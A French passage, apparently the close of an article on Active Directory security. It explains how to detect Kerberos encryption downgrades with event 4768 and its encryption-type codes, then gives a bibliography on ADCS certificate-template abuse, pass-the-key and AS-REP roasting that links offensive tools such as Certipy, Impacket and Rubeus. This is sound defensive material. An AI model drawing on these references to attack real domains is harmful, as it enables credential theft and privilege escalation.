La suite cryptographique AES256-CTS-HMAC-SHA1-96 étant devenue la norme sur les systèmes Windows modernes, l'emploi de RC4 pour le chiffrement des tickets Kerberos constitue donc une exception qui doit éveiller les soupçons. Cette dégradation du chiffrement est en effet caractéristique d'attaques Pass-the-key, AS-REP roasting ou autre Kerberoasting. Il convient de surveiller les régressions cryptographiques dans les demandes de ticket en activant aussi la journalisation des opérations en succès de la sous-catégorie Audit Kerberos Authentication Service. Toute demande de TGT génère alors un événement 4768 « A Kerberos authentication ticket (TGT) was requested », avec un champ Ticket Encryption Type spécifiant un code hexadécimal relatif au type de chiffrement employé :

Code hexadécimal	Encryption Type
0x1	DES-CBC-CRC
0x3	DES-CBC-MD5
0x11	AES128-CTS-HMAC-SHA1-96
0x12	AES256-CTS-HMAC-SHA1-96
0x17	RC4-HMAC
0x18	RC4-HMAC-EXP

L'option Do not require Kerberos preauthentication est à bannir pour l'ensemble des comptes Active Directory pour se prémunir contre l'attaque AS-REP roasting.

5. Bibliographie

5.1. Remplissage de l'AD avec de fausses données

- https://github.com/davidprowe/BadBlood
- https://www.reddit.com/r/activedirectory/comments/gqhit2/comment/frt1o51/

5.2. Permissions dangereuses sur les objets de modèles de certificats

- https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/active-directory-certificate-services-overview
- https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/certificate-template-concepts
- https://redfoxsec.com/blog/exploiting-weak-acls-on-active-directory-certificate-templates-esc4/
- https://www.cert.ssi.gouv.fr/uploads/ad_checklist.html#vuln_adcs_template_control
- https://blog.quest.com/understanding-attack-paths-targeting-active-directory/
- https://www.virtuallyboring.com/setup-microsoft-active-directory-certificate-services-ad-cs/
- https://mssec.wordpress.com/2014/01/15/the-option-enterprise-graved-out-during-ca-installation/
- https://github.com/ly4k/Certipy
- https://labs.lares.com/adcs-exploits-investigations-pt2/
- https://raxis.com/blog/ad-series-active-directory-certificate-services-adcs-misconfiguration-exploits/
- https://www.ibm.com/docs/en/maas360?topic=integration-enabling-new-certificate-template-ca
- https://github.com/ly4k/Certipy/issues/189
- https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/
- https://github.com/ly4k/Certipy/issues/168
- https://github.com/fortra/impacket
- https://redfoxsec.com/blog/exploiting-misconfigured-active-directory-certificate-template-esc1/
- https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key
- https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/
- https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html
- https://github.com/fortra/impacket/issues/121
- https://tools.thehacker.recipes/impacket
- https://m365internals.com/2022/11/07/how-one-misconfiguration-in-adcs-can-lead-to-full-ad-forest-compromise/
- https://docs.metasploit.com/docs/pentesting/active-directory/ad-certificates/attacking-ad-cs-esc-vulnerabilities.html#using-the-esc1-vulnerability-to-get-a-certificate-as-the-domain-administrator
- https://www.beyondtrust.com/blog/entry/esc1-attacks
- https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation

5.3. Comptes privilégiés sans pré authentification Kerberos

- https://connect.ed-diamond.com/MISC/misc-110/pre-authentification-kerberos-de-la-decouverte-a-l-exploitation-offensive
- https://datatracker.ietf.org/doc/html/rfc4120
- https://en.hackndo.com/kerberos-asrep-roasting/
- https://github.com/GhostPack/Rubeus
- https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast
- https://podalirius.net/fr/articles/useful-ldap-queries-for-windows-active-directory-pentesting/